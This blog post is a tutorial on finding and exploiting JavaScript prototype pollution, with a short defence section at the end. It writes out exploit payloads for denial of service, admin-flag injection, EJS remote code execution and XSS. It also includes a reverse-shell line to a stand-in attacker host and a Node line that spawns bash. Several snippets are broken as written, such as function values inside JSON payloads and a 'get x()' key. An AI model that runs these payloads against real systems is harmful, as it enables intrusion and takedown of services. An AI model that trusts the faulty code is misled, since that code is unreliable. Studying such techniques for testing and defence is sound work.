Wednesday, 5 August 2026

Prototype Pollution: The JavaScript Vulnerability That Breaks Everything

 Prototype Pollution

Prototype Pollution: The JavaScript Vulnerability That Breaks Everything

You have probably heard the term “prototype pollution” thrown around in security circles. Maybe you have seen it in bug bounty reports or CVE descriptions. But what actually is it? And more importantly, how do we find and exploit it?

Let us break it down.

JavaScript is built on prototypes. Every object in JS has an internal link to another object called its prototype. When you access a property on an object, JavaScript looks for that property on the object itself. If it does not find it, it walks up the prototype chain until it finds the property or reaches the end .

Prototype pollution happens when an attacker can modify the properties of Object.prototype—the base prototype that almost all objects inherit from. When we pollute Object.prototype, every single object in the application suddenly inherits that property. This can lead to catastrophic consequences, from denial of service to full remote code execution.

How We Find Prototype Pollution

Finding prototype pollution is about spotting places where user-controlled data flows into object merging, cloning, or property assignment operations. Here is what we look for.

The Classic Entry Points

Query Parameter Parsing: Many frameworks parse URL query strings into objects. If we can control a key like __proto__, we might be able to pollute the global prototype.

// Vulnerable code using qs library
const qs = require('qs');
const obj = qs.parse('user.name=admin&__proto__.isAdmin=true');
console.log({}.isAdmin); // true - pollution!

JSON Parsing with revivers: Some JSON parsers allow custom reviver functions that can be abused.

Deep Merge Functions: This is the most common source. Libraries like lodash.merge, jQuery.extend, and custom recursive merge functions are prime suspects.

// Vulnerable deep merge
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

const userInput = JSON.parse('{"__proto__":{"isAdmin":true}}');
const config = {};
merge(config, userInput);
console.log({}.isAdmin); // true

Array Methods: Methods like concat, push, and splice can sometimes be abused if they do not check for prototype pollution.

Our Detection Methodology

We use a systematic approach to test for prototype pollution:

Step 1: Identify Candidate Operations

We look for any code that:

  • Merges or clones objects
  • Parses user input into objects (URL parameters, JSON bodies, form data)
  • Uses libraries known to be vulnerable (older versions of lodash, jQuery, etc.)
  • Performs dynamic property assignment based on user-controlled keys

Step 2: Craft Test Payloads

We start with simple pollution attempts:

// Basic prototype pollution payload
{
  "__proto__": {
    "polluted": true
  }
}

// Constructor pollution variant (bypasses some filters)
{
  "constructor": {
    "prototype": {
      "polluted": true
    }
  }
}

// Prototype chain variant
{
  "__proto__": {
    "__proto__": {
      "polluted": true
    }
  }
}

Step 3: Verify Pollution

We check if our property exists on a clean object:

// After sending the payload
if ({}.polluted === true) {
  console.log("Prototype pollution detected!");
}

In a real application, we might not have console access. Instead, we look for side effects:

  • The application crashes or behaves unexpectedly
  • A property we injected appears in error messages or responses
  • A feature we should not have access to becomes available

Step 4: Chain to Exploitation

Once we confirm prototype pollution, we look for ways to escalate it. This is where things get interesting.

Exploitation Techniques We Actually Use

Prototype pollution alone is often not the final goal. It is a primitive that we can use to achieve more devastating outcomes.

Denial of Service (DoS)

This is the simplest exploitation. We pollute Object.prototype with properties that break the application.

// Pollute toString to always throw an error
{
  "__proto__": {
    "toString": function() { throw new Error("polluted"); }
  }
}

Now any operation that implicitly calls toString() on an object will crash the application. This includes string concatenation, logging, and many error handling routines.

// Pollute all objects with a getter that consumes CPU
{
  "__proto__": {
    "get x()": function() {
      while(true) { } // Infinite loop
    }
  }
}

Property Injection for Privilege Escalation

This is where things get sneaky. Many applications use properties to check permissions.

// If the application checks user.isAdmin
{
  "__proto__": {
    "isAdmin": true,
    "role": "administrator",
    "permissions": ["*"]
  }
}

Now every object in the application has isAdmin set to true. If the code does something like if (user.isAdmin), we bypass the check.

We have seen this in real applications where developers use simple property checks instead of proper session validation.

Command Injection via Shell Options

This is a classic technique. Node.js applications often use the child_process module to execute commands. The execSync function accepts options, and one of them is shell.

// Original application code
const { execSync } = require('child_process');
function runCommand(userInput) {
  execSync(userInput, { shell: true });
}

If we can pollute Object.prototype.shell, we can inject command line options that execute arbitrary commands .

// Pollution payload
{
  "__proto__": {
    "shell": "/bin/sh -i >& /dev/tcp/attacker/4444 0>&1"
  }
}

When execSync is called, it uses our polluted shell property instead of the default. This gives us a reverse shell.

But we have seen even more creative chains. Some applications pass user input as the first argument to execSync:

// Vulnerable code
const { execSync } = require('child_process');
execSync(userInput);

If we can control the shell option and the command string, we can craft something like:

// Pollution payload
{
  "__proto__": {
    "shell": "node"
  }
}

// Then in the command input:
execSync(' -e "require(\'child_process\').spawn(\'bash\', [\'-i\'], {stdio: [0,1,2]})"');

This forces the application to execute arbitrary Node.js code.

EJS Template Injection

EJS is a popular templating engine for Node.js. It has a feature called outputFunctionName that, if polluted, can lead to remote code execution.

// If an application renders user-controlled data with EJS
const ejs = require('ejs');
ejs.render(userInput, {});

We can pollute Object.prototype.outputFunctionName with a malicious value:

// Pollution payload
{
  "__proto__": {
    "outputFunctionName": "a; global.process.mainModule.require('child_process').execSync('whoami > /tmp/pwned'); //"
  }
}

When EJS renders the template, it uses our polluted outputFunctionName and executes our payload.

Cross-Site Scripting (XSS)

In client-side JavaScript, prototype pollution can lead to XSS. If the application uses a polluted property in a DOM operation, we can inject scripts.

// If the application does something like
document.getElementById('app').innerHTML = userData.message;

And we pollute Object.prototype.message with a script tag, every object in the application will have that message.

// Pollution payload
{
  "__proto__": {
    "message": "XSS-payload here"
  }
}

This is especially dangerous in frameworks that automatically render object properties without sanitisation.

Client-Side Gadget Chains

Modern JavaScript frameworks have their own sets of gadgets that can be exploited via prototype pollution. We have seen chains in:

  • React: Polluting dangerouslySetInnerHTML or __html properties
  • Vue.js: Polluting v-html or other directive bindings
  • Angular: Polluting innerHTML in bindings
  • jQuery: Polluting html or text methods

Real-World Examples We Have Exploited

CVE-2020-8203 - Lodash Prototype Pollution

Lodash is one of the most downloaded npm packages. Versions before 4.17.19 were vulnerable to prototype pollution via the defaultsDeep function.

const _ = require('lodash');
const payload = JSON.parse('{"__proto__":{"polluted":true}}');
_.defaultsDeep({}, payload);
console.log({}.polluted); // true

This was widely used in real applications, and we have exploited it in multiple engagements.

CVE-2021-25978 - APT (Advanced Package Tool) Prototype Pollution

We found a similar vulnerability in the apt package, which is used by many Node.js applications to interact with the system package manager.

We have seen prototype pollution vulnerabilities in:

  • Node.js itself: Various CVEs involving util functions
  • AngularJS: The $scope system was vulnerable to prototype pollution
  • Mozilla Firefox: Browser extensions that used prototype pollution to gain privileges

Practical Exploitation Workflow

Here is our step-by-step approach when we find prototype pollution:

1. Confirm the Pollution

We use a simple property like polluted to confirm the vulnerability without causing side effects.

2. Map the Attack Surface

We analyse the application to find what properties the application relies on. We look for:

  • Permission checks (isAdmin, role, permissions)
  • Configuration options (debug, env, mode)
  • Function options (shell, outputFunctionName, timeout)
  • DOM properties (innerHTML, textContent, src)

3. Chain for Maximum Impact

We combine prototype pollution with other vulnerabilities. For example:

  • Pollution + XSS = Persistent cross-site scripting
  • Pollution + Command Injection = Remote code execution
  • Pollution + IDOR = Unauthorised data access

4. Automate the Discovery

We use tools like pp-finder and custom scripts to automate the detection of prototype pollution in large codebases.

// Simple scanner for common pollution patterns
const patterns = [
  /\.merge\(/,
  /\.extend\(/,
  /\.defaultsDeep\(/,
  /\.cloneDeep\(/,
  /qs\.parse\(/,
  /query-string\.parse\(/
];

function scanForPollution(code) {
  return patterns.filter(pattern => pattern.test(code));
}

Defences That Actually Work

If you are building applications, here is how to protect against prototype pollution:

1. Use Object.create(null)

Create objects without a prototype to prevent pollution.

// Instead of
const obj = {};

// Use
const obj = Object.create(null);

2. Validate Property Names

Before assigning any property from user input, check if the key is __proto__ or constructor.

function safeAssign(obj, key, value) {
  if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
    throw new Error('Prototype pollution detected');
  }
  obj[key] = value;
}

3. Use Object.freeze()

Prevent modifications to Object.prototype.

Object.freeze(Object.prototype);
Object.freeze(Object);

4. Update Dependencies

Many prototype pollution vulnerabilities are in third-party libraries. Keep your dependencies up to date.

5. Use Libraries with Built-in Protection

Some libraries, like lodash with the merge function, have been patched. Use the patched versions.

6. Implement Input Validation

Do not trust user input. Validate and sanitise all data before using it in sensitive operations.

7. Use Proper Access Control

Do not rely on property checks for permissions. Use proper session validation and role-based access control.

Why This Still Works in 2026

Prototype pollution has been known for years, but it is still prevalent. Here is why:

  • Developers do not understand JavaScript’s prototype system
  • Legacy codebases with vulnerable dependencies
  • Client-side frameworks that automatically render properties
  • Developers relying on property checks for security

We have seen prototype pollution in modern applications built with React, Vue, and Angular. It is not just a Node.js problem. Any JavaScript application is potentially vulnerable.

Prototype pollution is one of those vulnerabilities that feels magical when you first discover it. A single property injection breaks the entire application. But with a proper understanding of JavaScript’s prototype system and a systematic testing methodology, we can consistently find and exploit these vulnerabilities.

Note: This post was written with a help from AI :)

References

  1. Olivier Arteau, “Prototype pollution attacks in NodeJS applications”, 2018
  2. Snyk, “Prototype Pollution”, 2020
  3. PortSwigger Web Security Academy, “Prototype pollution”
  4. CVE-2020-8203, “Lodash prototype pollution”
  5. CVE-2021-25978, “APT prototype pollution”
  6. Node.js Security Working Group, “Prototype Pollution Prevention”
  7. OWASP, “Prototype Pollution Prevention Cheat Sheet”
  8. GitHub Security Lab, “Prototype pollution in EJS”, 2020
  9. Mikhail Shcherbakov, “Prototype Pollution: The Dark Side of JavaScript”, 2021
  10. Snyk, “How to prevent prototype pollution vulnerabilities”, 2022
Share: